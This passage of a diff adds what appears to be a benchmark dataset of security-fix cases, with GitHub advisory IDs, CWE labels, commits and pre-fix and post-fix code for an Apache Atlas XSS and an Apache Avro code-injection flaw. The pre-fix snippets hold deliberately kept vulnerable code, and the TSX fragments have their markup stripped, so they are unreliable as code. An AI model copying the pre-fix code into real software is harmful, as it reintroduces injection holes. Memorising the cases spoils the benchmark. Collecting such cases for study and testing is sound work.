';\n }\n CommonViewFunction.generateQueryOfFilter = function(value) {\n value = Utils.getUrlState.getQueryParams();\n var entityFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.entityFilters, \"formatDate\": true }),\n tagFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.tagFilters, \"formatDate\": true }),\n relationshipFilters = CommonViewFunction.attributeFilter.extractUrl({ \"value\": value.relationshipFilters, \"formatDate\": true }),\n queryArray = [];\n\n function objToString(filterObj) {\n var generatedQuery = _.map(filterObj.rules, function(obj, key) {\n var obj = $.extend(true, {}, obj); // not to update the timezone abbr on original obj , copy of obj is used \n if (_.has(obj, 'condition')) {\n return ' ' + obj.condition + ' ' + '(' + objToString(obj) + ')';\n } else {\n if (obj.type === \"date\") {\n if (Enums.queryBuilderDateRangeUIValueToAPI[obj.value]) {\n obj.value = Enums.queryBuilderDateRangeUIValueToAPI[obj.value];\n } else {\n obj.value = obj.value + \" (\" + moment.tz(moment.tz.guess()).zoneAbbr() + \")\";\n }\n }\n return '' + (Enums.systemAttributes[obj.id] ? Enums.systemAttributes[obj.id] : _.escape(obj.id)) + ' ' + _.escape(obj.operator) + ' ' + (Enums[obj.id] ? Enums[obj.id][obj.value] : _.escape(obj.value)) + \"\";\n }\n });\n return generatedQuery;\n }\n if (value.type) {\n var typeKeyValue = 'Type: ' + _.escape(value.type) + '';\n if (entityFilters) {\n var conditionForEntity = entityFilters.rules.length == 1 ? '' : 'AND';\n typeKeyValue += ' ' + conditionForEntity + ' (' + entityFilters.condition + ' (' + objToString(entityFilters) + '))';\n }\n queryArray.push(typeKeyValue)\n }\n if (value.tag) {\n var tagKeyValue = 'Classification: ' + _.escape(value.tag) + '';\n if (tagFilters) {\n var conditionFortag = tagFilters.rules.length == 1 ? '' : 'AND';\n tagKeyValue += ' ' + conditionFortag + ' (' + tagFilters.condition + ' (' + objToString(tagFilters) + '))';\n }\n queryArray.push(tagKeyValue);\n }\n if (value.relationshipName) {\n var relationshipKeyValue = 'Relationship: ' + _.escape(value.relationshipName) + '';\n if (relationshipFilters) {\n var conditionForRealtionship = (relationshipFilters.rules && relationshipFilters.rules.length == 1) ? '' : 'AND';\n relationshipKeyValue += ' ' + conditionForRealtionship + ' (' + relationshipFilters.condition + ' (' + objToString(relationshipFilters) + '))';\n }\n queryArray.push(relationshipKeyValue);\n }\n if (value.term) {\n var tagKeyValue = 'Term: ' + _.escape(value.term) + '';\n queryArray.push(tagKeyValue);\n }\n if (value.query) {\n queryArray.push('Query: ' + _.trim(_.escape(value.query)) + ' ');\n }\n if (queryArray.length == 1) {\n return queryArray.join();\n } else {\n return \"( \" + queryArray.join(' ) AND ( ') + \" )\";\n\n }\n }\n CommonViewFunction.generateObjectForSaveSearchApi = function(options) {\n var obj = {\n name: options.name,\n guid: options.guid\n };\n var value = options.value;\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[k];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.split(',');\n } else if (_.contains([\"tagFilters\", \"entityFilters\", \"relationshipFilters\"], k)) {\n val = CommonViewFunction.attributeFilter.generateAPIObj(val);\n } else if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = _.isUndefinedNull(val) ? true : val;\n }\n if (!obj[skey]) {\n obj[skey] = {};\n }\n obj[skey][v] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.generateUrlFromSaveSearchObject = function(options) {\n var value = options.value,\n classificationDefCollection = options.classificationDefCollection,\n entityDefCollection = options.entityDefCollection,\n relationshipDefCollection = options.relationshipDefCollection,\n obj = {};\n if (value) {\n _.each(Enums.extractFromUrlForSearch, function(svalue, skey) {\n if (_.isObject(svalue)) {\n _.each(svalue, function(v, k) {\n var val = value[skey][v];\n if (!_.isUndefinedNull(val)) {\n if (k == \"attributes\") {\n val = val.join(',');\n } else if (k == \"tagFilters\") {\n if (classificationDefCollection) {\n var classificationDef = classificationDefCollection.fullCollection.findWhere({ 'name': value[skey].classification }),\n attributeDefs = [];\n if (classificationDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: classificationDefCollection,\n attrMerge: true,\n data: classificationDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_CLASSIFICATION_TYPES && Globals._ALL_CLASSIFICATION_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_CLASSIFICATION_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"entityFilters\") {\n if (entityDefCollection) {\n var entityDef = entityDefCollection.fullCollection.findWhere({ 'name': value[skey].typeName }),\n attributeDefs = [];\n if (entityDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: entityDefCollection,\n attrMerge: true,\n data: entityDef.toJSON()\n });\n }\n if (Globals[value[skey].typeName]) {\n attributeDefs = Globals[value[skey].typeName].attributeDefs;\n }\n if (Globals._ALL_ENTITY_TYPES && Globals._ALL_ENTITY_TYPES.attributeDefs) {\n attributeDefs = attributeDefs.concat(Globals._ALL_ENTITY_TYPES.attributeDefs);\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (k == \"relationshipFilters\") {\n if (relationshipDefCollection) {\n var relationshipDef = relationshipDefCollection.fullCollection.findWhere({ 'name': value[skey].relationshipName }),\n attributeDefs = [];\n if (relationshipDef) {\n attributeDefs = Utils.getNestedSuperTypeObj({\n collection: relationshipDefCollection,\n attrMerge: true,\n data: relationshipDef.toJSON()\n });\n }\n if (Globals[value[skey].relationshipName]) {\n attributeDefs = Globals[value[skey].relationshipName].attributeDefs;\n }\n }\n val = CommonViewFunction.attributeFilter.generateUrl({ \"value\": val, \"attributeDefs\": attributeDefs });\n } else if (_.contains([\"includeDE\", \"excludeST\", \"excludeSC\"], k)) {\n val = val ? false : true;\n }\n }\n obj[k] = val;\n });\n } else {\n obj[skey] = value[skey];\n }\n });\n return obj;\n }\n }\n CommonViewFunction.attributeFilter = {\n generateUrl: function(options) {\n var attrQuery = [],\n attrObj = options.value,\n formatedDateToLong = options.formatedDateToLong,\n attributeDefs = options.attributeDefs,\n /* set attributeType for criterion while creating object*/\n spliter = 1;\n attrQuery = conditionalURl(attrObj, spliter);\n\n function conditionalURl(options, spliter) {\n if (options) {\n return _.map(options.rules || options.criterion, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return obj.condition + '(' + conditionalURl(obj, (spliter + 1)) + ')';\n }\n if (attributeDefs) {\n var attributeDef = _.findWhere(attributeDefs, { 'name': obj.attributeName });\n if (attributeDef) {\n obj.attributeValue = obj.attributeValue;\n obj['attributeType'] = attributeDef.typeName;\n }\n }\n var type = (obj.type || obj.attributeType),\n //obj.value will come as an object when selected type is Date and operator is isNull or not_null;\n value = ((_.isString(obj.value) && _.contains([\"is_null\", \"not_null\"], obj.operator) && type === 'date') || _.isObject(obj.value) ? \"\" : _.trim(obj.value || obj.attributeValue)),\n url = [(obj.id || obj.attributeName), mapApiOperatorToUI(obj.operator), value];\n if (obj.operator === \"TIME_RANGE\") {\n if (value.indexOf(\"-\") > -1) {\n url[2] = value.split(' - ').map(function(udKey) {\n return Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(udKey.trim())).toString() : Date.parse(udKey.trim()).toString();\n }).join(\",\")\n } else {\n url[2] = Enums.queryBuilderDateRangeUIValueToAPI[_.trim(value)] || value;\n }\n } else if (value && value.length && type === 'date' && formatedDateToLong) {\n url[2] = Globals.needToValidateDate ? Date.parse(Utils.convertToValidDate(value)) : Date.parse(value);\n }\n if (type) {\n url.push(type);\n }\n return url.join(\"::\");\n }).join('|' + spliter + '|')\n } else {\n return null;\n }\n }\n if (attrQuery.length) {\n return attrObj.condition + '(' + attrQuery + ')';\n } else {\n return null;\n }\n\n function mapApiOperatorToUI(oper) {\n // Enum will be in effect once we click on save search.\n return Enums.queryBuilderApiOperatorToUI[oper] || oper;\n }\n },\n extractUrl: function(options) {\n var attrObj = {},\n urlObj = options.value,\n formatDate = options.formatDate,\n spliter = 1,\n apiObj = options.apiObj,\n mapUiOperatorToAPI = function(oper) {\n return Enums.queryBuilderUIOperatorToAPI[oper] || oper;\n },\n createObject = function(urlObj) {\n var finalObj = {};\n finalObj['condition'] = /^AND\\(/.test(urlObj) ? \"AND\" : \"OR\";\n urlObj = finalObj.condition === \"AND\" ? urlObj.substr(4).slice(0, -1) : urlObj.substr(3).slice(0, -1);\n finalObj[apiObj ? \"criterion\" : \"rules\"] = _.map(urlObj.split('|' + spliter + '|'), function(obj, key) {\n var isStringNested = obj.split('|' + (spliter + 1) + '|').length > 1,\n isCondition = /^AND\\(/.test(obj) || /^OR\\(/.test(obj);\n if (isStringNested && isCondition) {\n ++spliter;\n return createObject(obj);\n } else if (isCondition) {\n return createObject(obj);\n } else {\n var temp = obj.split(\"::\") || obj.split('|' + spliter + '|'),\n rule = {};\n if (apiObj) {\n rule = { attributeName: temp[0], operator: mapUiOperatorToAPI(temp[1]), attributeValue: _.trim(temp[2]) }\n rule.attributeValue = rule.type === 'date' && formatDate && rule.attributeValue.length ? Utils.formatDate({ date: parseInt(rule.attributeValue), zone: false }) : rule.attributeValue;\n } else {\n rule = { id: temp[0], operator: temp[1], value: _.trim(temp[2]) }\n if (temp[3]) {\n rule['type'] = temp[3];\n }\n if (rule.operator === \"TIME_RANGE\") {\n if (temp[2].indexOf(\",\") > -1) {\n rule.value = temp[2].split(\",\").map(function(udKey) {\n return Utils.formatDate({ date: parseInt(udKey.trim()), zone: false })\n }).join(\" - \")\n } else {\n rule.value = Enums.queryBuilderDateRangeAPIValueToUI[_.trim(rule.value)] || rule.value;\n }\n } else if (rule.type === 'date' && formatDate && rule.value.length) {\n rule.value = Utils.formatDate({ date: parseInt(rule.value), zone: false })\n }\n }\n return rule;\n }\n });\n return finalObj;\n }\n //if apiObj then create object for API call else for QueryBuilder.\n if (urlObj && urlObj.length) {\n attrObj = createObject(urlObj);\n } else {\n return null;\n }\n return attrObj;\n },\n generateAPIObj: function(url) {\n if (url && url.length) {\n return this.extractUrl({ \"value\": url, \"apiObj\": true });\n } else {\n return null;\n }\n }\n }\n CommonViewFunction.createEditGlossaryCategoryTerm = function(options) {\n if (options) {\n var model = options.model,\n isTermView = options.isTermView,\n isGlossaryView = options.isGlossaryView,\n collection = options.collection;\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n if (model) {\n var longDescriptionContent = isGlossaryView ? model.get('longDescription') : model.longDescription,\n sanitizeLongDescriptionContent = \"\";\n if (longDescriptionContent) {\n sanitizeLongDescriptionContent = Utils.sanitizeHtmlContent({ data: longDescriptionContent });\n isGlossaryView ? model.set(\"longDescription\", sanitizeLongDescriptionContent) : model.longDescription = sanitizeLongDescriptionContent;\n }\n }\n //End\n }\n require([\n 'views/glossary/CreateEditCategoryTermLayoutView',\n 'views/glossary/CreateEditGlossaryLayoutView',\n 'modules/Modal',\n 'trumbowyg'\n ], function(CreateEditCategoryTermLayoutView, CreateEditGlossaryLayoutView, Modal) {\n var view = null,\n title = null;\n if (isGlossaryView) {\n view = new CreateEditGlossaryLayoutView({ \"glossaryCollection\": collection, \"model\": model });\n title = \"Glossary\";\n } else {\n view = new CreateEditCategoryTermLayoutView({ \"glossaryCollection\": collection, \"modelJSON\": model });\n title = (isTermView ? 'Term' : 'Category');\n }\n var modal = new Modal({\n \"title\": ((model ? \"Update \" : \"Create \") + title),\n \"content\": view,\n \"cancelText\": \"Cancel\",\n \"okCloses\": false,\n \"okText\": model ? \"Update\" : \"Create\",\n \"allowCancel\": true,\n \"width\": \"640px\"\n }).open();\n modal.$el.find('button.ok').attr(\"disabled\", \"true\");\n var longDescriptionEditor = modal.$el.find('textarea[data-id=longDescription]'),\n okBtn = modal.$el.find('button.ok'),\n modalOkBtn = function() {\n okBtn.removeAttr(\"disabled\");\n };\n Utils.addCustomTextEditor({ selector: longDescriptionEditor, callback: modalOkBtn, initialHide: false });\n modal.on('ok', function() {\n modal.$el.find('button.ok').showButtonLoader();\n //Below condition is added for sanitizing the longDescription text against XSS attack.\n longDescriptionEditor.trumbowyg('html', Utils.sanitizeHtmlContent({ selector: longDescriptionEditor }));\n //End\n CommonViewFunction.createEditGlossaryCategoryTermSubmit(_.extend({ \"ref\": view, \"modal\": modal }, options));\n });\n modal.on('closeModal', function() {\n modal.trigger('cancel');\n if (options.onModalClose) {\n options.onModalClose()\n }\n longDescriptionEditor.trumbowyg('closeModal');\n });\n });\n }\n CommonViewFunction.createEditGlossaryCategoryTermSubmit = function(options) {\n if (options) {\n var ref = options.ref,\n modal = options.modal,\n model = options.model,\n node = options.node,\n isTermView = options.isTermView,\n isCategoryView = options.isCategoryView,\n collection = options.collection,\n isGlossaryView = options.isGlossaryView,\n data = ref.ui[(isGlossaryView ? \"glossaryForm\" : \"categoryTermForm\")].serializeArray().reduce(function(obj, item) {\n obj[item.name] = item.value.trim();\n return obj;\n }, {}),\n newModel = new options.collection.model(),\n messageType = \"Glossary \";\n }\n if (isTermView) {\n messageType = \"Term \";\n } else if (isCategoryView) {\n messageType = \"Category \";\n }\n var ajaxOptions = {\n silent: true,\n success: function(rModel, response) {\n var msgType = model ? \"editSuccessMessage\" : \"addSuccessMessage\";\n Utils.notifySuccess({\n content: messageType + ref.ui.name.val() + Messages.getAbbreviationMsg(false, msgType)\n });\n if (options.callback) {\n options.callback(rModel);\n }\n modal.trigger('closeModal');\n },\n cust_error: function() {\n modal.$el.find('button.ok').hideButtonLoader();\n }\n }\n if (model) {\n if (isGlossaryView) {\n model.clone().set(data, { silent: true }).save(null, ajaxOptions)\n } else {\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n\n } else {\n if (isGlossaryView) {\n new collection.model().set(data).save(null, ajaxOptions);\n } else {\n if (node) {\n var key = \"anchor\",\n guidKey = \"glossaryGuid\";\n data[\"anchor\"] = {\n \"glossaryGuid\": node.glossaryId || node.guid,\n \"displayText\": node.glossaryName || node.text\n }\n if (node.type == \"GlossaryCategory\") {\n data[\"parentCategory\"] = {\n \"categoryGuid\": node.guid\n }\n }\n }\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n data: JSON.stringify(data),\n }));\n }\n }\n }\n CommonViewFunction.removeCategoryTermAssociation = function(options) {\n if (options) {\n var selectedGuid = options.selectedGuid,\n termGuid = options.termGuid,\n isCategoryView = options.isCategoryView,\n isTermView = options.isTermView,\n isEntityView = options.isEntityView,\n collection = options.collection,\n model = options.model,\n newModel = new options.collection.model(),\n noticeRef = null,\n ajaxOptions = {\n success: function(rModel, response) {\n if (noticeRef) {\n noticeRef.remove();\n }\n Utils.notifySuccess({\n content: ((isCategoryView || isEntityView ? \"Term\" : \"Category\") + \" association is removed successfully\")\n });\n if (options.callback) {\n options.callback();\n }\n },\n cust_error: function() {\n if (noticeRef) {\n noticeRef.hideButtonLoader();\n }\n if (options.hideLoader) {\n options.hideLoader();\n }\n }\n },\n notifyObj = {\n modal: true,\n okCloses: false,\n okShowLoader: true,\n text: options.msg,\n title: options.titleMessage,\n okText: options.buttonText,\n ok: function(notice) {\n noticeRef = notice;\n if (options.showLoader) {\n options.showLoader();\n }\n if (isEntityView && model) {\n var data = [model];\n newModel.removeTermFromEntity(termGuid, _.extend(ajaxOptions, {\n data: JSON.stringify(data)\n }))\n } else {\n var data = _.extend({}, model);\n if (isTermView) {\n data.categories = _.reject(data.categories, function(term) { return term.categoryGuid == selectedGuid });\n } else {\n data.terms = _.reject(data.terms, function(term) { return term.termGuid == selectedGuid });\n }\n\n newModel[isTermView ? \"createEditTerm\" : \"createEditCategory\"](_.extend(ajaxOptions, {\n guid: model.guid,\n data: JSON.stringify(_.extend({}, model, data)),\n }));\n }\n },\n cancel: function() {}\n };\n Utils.notifyConfirm(notifyObj);\n }\n }\n CommonViewFunction.addRestCsrfCustomHeader = function(xhr, settings) {\n if (null != settings.url) {\n var method = settings.type;\n var csrfToken = CommonViewFunction.restCsrfValue;\n null == CommonViewFunction.restCsrfCustomHeader || CommonViewFunction.restCsrfMethodsToIgnore[method] || xhr.setRequestHeader(CommonViewFunction.restCsrfCustomHeader, csrfToken);\n }\n }\n CommonViewFunction.restCsrfCustomHeader = null;\n CommonViewFunction.restCsrfMethodsToIgnore = null;\n CommonViewFunction.userDataFetch = function(options) {\n var csrfEnabled = false,\n header = null,\n methods = [];\n\n function getTrimmedStringArrayValue(string) {\n var str = string,\n array = [];\n if (str) {\n var splitStr = str.split(',');\n for (var i = 0; i < splitStr.length; i++) {\n array.push(splitStr[i].trim());\n }\n }\n return array;\n }\n if (options.url) {\n $.ajax({\n url: options.url,\n success: function(response) {\n if (response) {\n if (response['atlas.rest-csrf.enabled']) {\n var str = \"\" + response['atlas.rest-csrf.enabled'];\n csrfEnabled = (str.toLowerCase() == 'true');\n }\n if (response[\"atlas.rest-csrf.custom-header\"] && (header = response[\"atlas.rest-csrf.custom-header\"].trim()),\n response[\"atlas.rest-csrf.methods-to-ignore\"] && (methods = getTrimmedStringArrayValue(response[\"atlas.rest-csrf.methods-to-ignore\"])),\n csrfEnabled) {\n CommonViewFunction.restCsrfCustomHeader = header, CommonViewFunction.restCsrfMethodsToIgnore = {},\n CommonViewFunction.restCsrfValue = response[\"_csrfToken\"] || '\"\"',\n methods.map(function(method) {\n CommonViewFunction.restCsrfMethodsToIgnore[method] = !0;\n });\n var statusCodeErrorFn = function(error) {\n Utils.defaultErrorHandler(null, error)\n }\n Backbone.$.ajaxSetup({\n statusCode: {\n 401: statusCodeErrorFn,\n 419: statusCodeErrorFn,\n 403: statusCodeErrorFn\n },\n beforeSend: CommonViewFunction.addRestCsrfCustomHeader\n });\n }\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response.responseJSON);\n }\n }\n });\n }\n }\n CommonViewFunction.CheckDuplicateAndEmptyInput = function(elements, datalist) {\n var keyMap = new Map(),\n validation = true,\n hasDup = [];\n for (var i = 0; i < elements.length; i++) {\n var input = elements[i],\n pEl = input.nextElementSibling,\n classes = 'form-control',\n val = input.value.trim();\n pEl.innerText = \"\";\n\n if (val === '') {\n validation = false;\n pEl.innerText = 'Required!';\n } else if (val.includes(':')) {\n validation = false;\n var errorText = $(\".errorMsg[data-id='charSupportMsg']\").text();\n if (errorText && errorText.length === 0) {\n pEl.innerText = \"These special character '(:)' are not supported.\";\n }\n } else {\n if (input.tagName === 'INPUT') {\n var duplicates = datalist.filter(function(c) {\n return c.key === val;\n });\n if (keyMap.has(val) || duplicates.length > 1) {\n classes = 'form-control errorClass';\n hasDup.push('duplicate');\n pEl.innerText = 'Duplicate key';\n } else {\n keyMap.set(val, val);\n }\n }\n }\n if (validation === false) {\n classes = 'form-control errorClass';\n }\n input.setAttribute('class', classes);\n }\n return {\n validation: validation,\n hasDuplicate: (hasDup.length === 0 ? false : true)\n };\n }\n CommonViewFunction.getRandomIdAndAnchor = function() {\n var randomId = \"collapse_\" + parseInt((Math.random() * 100)) + \"_\" + new Date().getUTCMilliseconds();\n return {\n id: randomId,\n anchor: \"#\" + randomId\n };\n }\n CommonViewFunction.udKeysStringParser = function(udKeys) {\n var o = {};\n _.each(udKeys.split(','), function(udKey) {\n var ud = udKey.split(':');\n o[ud[0]] = ud[1];\n })\n return o;\n }\n CommonViewFunction.udKeysObjectToStringParser = function(udKeys) {\n var list = _.map(udKeys, function(udKey) {\n var t = udKey.key + ':' + udKey.value;\n return t;\n });\n return list.join(',');\n }\n CommonViewFunction.fetchRootEntityAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.entity, function(rootEntity) {\n Globals[rootEntity] = $.extend(true, {}, response, { name: rootEntity, guid: rootEntity });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n CommonViewFunction.fetchRootClassificationAttributes = function(options) {\n $.ajax({\n url: options.url,\n methods: 'GET',\n dataType: 'json',\n cache: true,\n success: function(response) {\n if (response) {\n _.each(options.classification, function(rootClassification) {\n Globals[rootClassification] = $.extend(true, {}, response, { name: rootClassification, guid: rootClassification });\n });\n }\n },\n complete: function(response) {\n if (options.callback) {\n options.callback(response);\n }\n }\n });\n }\n return CommonViewFunction;\n});"
+repo = "apache/atlas"
+url = "https://github.com/apache/atlas.git"
+
+[[case]]
+advisory = "GHSA-v73p-f52r-fmmr"
+advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue."
+commit = "800f979307d6ea0f0b6563ec890f6b728022e497"
+cwe = "CWE-80"
+family = "output_encoding"
+function = "RelationshipFilters"
+function_lines = [[35, 162]]
+id = "apache-atlas-f8d76d90d767826b"
+language = "typescript"
+method = "fix_site"
+parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2"
+path = "dashboard/src/components/QueryBuilder/RelationshipFilters.tsx"
+post_fix = "const RelationshipFilters = ({\n allDataObj,\n relationshipQuery,\n setRelationshipQuery\n}: any) => {\n const location = useLocation();\n const searchParams = new URLSearchParams(location.search);\n const relationshipParams = searchParams.get(\"relationshipName\");\n const { relationships }: any = useAppSelector(\n (state: any) => state.relationships\n );\n const { relationshipDefs } = relationships || {};\n\n let attrTagObj =\n !isEmpty(relationshipDefs) && !isEmpty(relationshipParams)\n ? relationshipDefs.find((relationship: { name: string }) => {\n return relationship.name == relationshipParams;\n })\n : {};\n\n if (attrTagObj) {\n // let realtionshipAttributeLength;\n attrTagObj = getNestedSuperTypeObj({\n data: attrTagObj,\n collection: relationshipDefs,\n attrMerge: true\n });\n // realtionshipAttributeLength = attrTagObj.length;\n }\n\n const fields = () => {\n let filters = [];\n let isGroupView = true;\n let rules_widgets = null;\n\n for (const attrObj in attrTagObj) {\n let returnObj: any = getObjDef(\n allDataObj,\n attrTagObj[attrObj],\n rules_widgets,\n isGroupView,\n relationshipParams + \" Attribute\"\n );\n if (returnObj) {\n filters.push(returnObj);\n }\n }\n\n return (filters satisfies Field[]).map((o) => toFullOption(o));\n };\n\n const groupedFields =\n fields()?.reduce(\n (\n acc: { [x: string]: any[] },\n field: { group: string | number | undefined }\n ) => {\n if (field && field.group !== undefined) {\n if (!acc[field.group]) {\n acc[field.group] = [];\n }\n acc[field.group].push(field);\n }\n return acc;\n },\n {}\n ) || {};\n\n const fieldsObj = Object.keys(groupedFields).map((group) => ({\n label: group,\n options: groupedFields[group]\n }));\n\n return (\n \n \n \n Relationship: {relationshipParams}\n \n \n \n {!isEmpty(fieldsObj) ? (\n {\n if (\n props.operator === \"is_null\" ||\n props.operator === \"not_null\"\n ) {\n return null;\n }\n return ;\n }\n }}\n translations={{\n addGroup: {\n label: (\n <>\n Add filter group\n >\n )\n },\n addRule: {\n label: (\n <>\n Add filter\n >\n )\n }\n }}\n />\n ) : (\n \n No Attributes are available !\n \n )}\n \n \n );\n};"
+pre_fix = "const RelationshipFilters = ({\n allDataObj,\n relationshipQuery,\n setRelationshipQuery\n}: any) => {\n const location = useLocation();\n const searchParams = new URLSearchParams(location.search);\n const relationshipParams = searchParams.get(\"relationshipName\");\n const { relationships }: any = useAppSelector(\n (state: any) => state.relationships\n );\n const { relationshipDefs } = relationships || {};\n\n let attrTagObj =\n !isEmpty(relationshipDefs) && !isEmpty(relationshipParams)\n ? relationshipDefs.find((relationship: { name: string }) => {\n return relationship.name == relationshipParams;\n })\n : {};\n\n if (attrTagObj) {\n // let realtionshipAttributeLength;\n attrTagObj = getNestedSuperTypeObj({\n data: attrTagObj,\n collection: relationshipDefs,\n attrMerge: true\n });\n // realtionshipAttributeLength = attrTagObj.length;\n }\n\n const fields = () => {\n let filters = [];\n let isGroupView = true;\n let rules_widgets = null;\n\n for (const attrObj in attrTagObj) {\n let returnObj: any = getObjDef(\n allDataObj,\n attrTagObj[attrObj],\n rules_widgets,\n isGroupView,\n relationshipParams + \" Attribute\"\n );\n if (returnObj) {\n filters.push(returnObj);\n }\n }\n\n return (filters satisfies Field[]).map((o) => toFullOption(o));\n };\n\n const groupedFields =\n fields()?.reduce(\n (\n acc: { [x: string]: any[] },\n field: { group: string | number | undefined }\n ) => {\n if (field && field.group !== undefined) {\n if (!acc[field.group]) {\n acc[field.group] = [];\n }\n acc[field.group].push(field);\n }\n return acc;\n },\n {}\n ) || {};\n\n const fieldsObj = Object.keys(groupedFields).map((group) => ({\n label: group,\n options: groupedFields[group]\n }));\n\n return (\n \n \n \n Relationship: {relationshipParams}\n \n \n \n {!isEmpty(fieldsObj) ? (\n {\n if (\n props.operator === \"is_null\" ||\n props.operator === \"not_null\"\n ) {\n return;\n }\n return ;\n }\n }}\n translations={{\n addGroup: {\n label: (\n <>\n Add filter group\n >\n )\n },\n addRule: {\n label: (\n <>\n Add filter\n >\n )\n }\n }}\n />\n ) : (\n \n No Attributes are available !\n \n )}\n \n \n );\n};"
+repo = "apache/atlas"
+url = "https://github.com/apache/atlas.git"
+
+[[case]]
+advisory = "GHSA-rp46-r563-jrc7"
+advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue."
+commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4"
+cwe = "CWE-94"
+family = "injection"
+function = "javaSplit"
+function_lines = [[1032, 1047]]
+id = "apache-avro-1c1ac5d9361c069c"
+language = "java"
+method = "fix_site"
+parent = "80400781a796bc0e90dd8ea1db42234926db33e9"
+path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java"
+post_fix = " public String javaSplit(String s) throws IOException {\n StringBuilder b = new StringBuilder(s.length());\n b.append(\"\\\"\"); // initial quote\n for (int i = 0; i < s.length(); i += maxStringChars) {\n if (i != 0)\n b.append(\"\\\",\\\"\"); // insert quote-comma-quote\n String chunk = s.substring(i, Math.min(s.length(), i + maxStringChars));\n b.append(escapeForJavaString(chunk)); // escape chunks\n }\n b.append(\"\\\"\"); // final quote\n return b.toString();\n }\n\n /**\n * Utility for template use. Escapes quotes and backslashes.\n */"
+pre_fix = " public String javaSplit(String s) throws IOException {\n StringBuilder b = new StringBuilder(s.length());\n b.append(\"\\\"\"); // initial quote\n for (int i = 0; i < s.length(); i += maxStringChars) {\n if (i != 0)\n b.append(\"\\\",\\\"\"); // insert quote-comma-quote\n String chunk = s.substring(i, Math.min(s.length(), i + maxStringChars));\n b.append(javaEscape(chunk)); // escape chunks\n }\n b.append(\"\\\"\"); // final quote\n return b.toString();\n }\n\n /**\n * Utility for template use. Escapes quotes and backslashes.\n */"
+repo = "apache/avro"
+url = "https://github.com/apache/avro.git"
+
+[[case]]
+advisory = "GHSA-rp46-r563-jrc7"
+advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue."
+commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4"
+cwe = "CWE-94"
+family = "injection"
+function = "javaEscape"
+function_lines = [[1048, 1054]]
+id = "apache-avro-1d43772609028459"
+language = "java"
+method = "fix_site"
+parent = "80400781a796bc0e90dd8ea1db42234926db33e9"
+path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java"
+post_fix = " public static String javaEscape(String o) {\n return escapeForJavaString(o);\n }\n\n /**\n * Utility for template use. Escapes comment end with HTML entities.\n */"
+pre_fix = " public static String javaEscape(String o) {\n return o.replace(\"\\\\\", \"\\\\\\\\\").replace(\"\\\"\", \"\\\\\\\"\");\n }\n\n /**\n * Utility for template use. Escapes comment end with HTML entities.\n */"
+repo = "apache/avro"
+url = "https://github.com/apache/avro.git"
+
+[[case]]
+advisory = "GHSA-rp46-r563-jrc7"
+advisory_text = "Apache Avro Java SDK is Vulnerable to Code Injection\n\nImproper Control of Generation of Code ('Code Injection') vulnerability in Apache Avro Java SDK when generating specific records from untrusted Avro schemas.\n\nThis issue affects Apache Avro Java SDK: all versions through 1.11.4 and version 1.12.0.\n\nUsers are recommended to upgrade to version 1.12.1 or 1.11.5, which fix the issue."
+commit = "84bc7322ca1c04ab4a8e4e708acf1e271541aac4"
+cwe = "CWE-94"
+family = "injection"
+function = "javaAnnotations"
+function_lines = [[1005, 1031]]
+id = "apache-avro-f133a25fc910fb31"
+language = "java"
+method = "fix_site"
+parent = "80400781a796bc0e90dd8ea1db42234926db33e9"
+path = "lang/java/compiler/src/main/java/org/apache/avro/compiler/specific/SpecificCompiler.java"
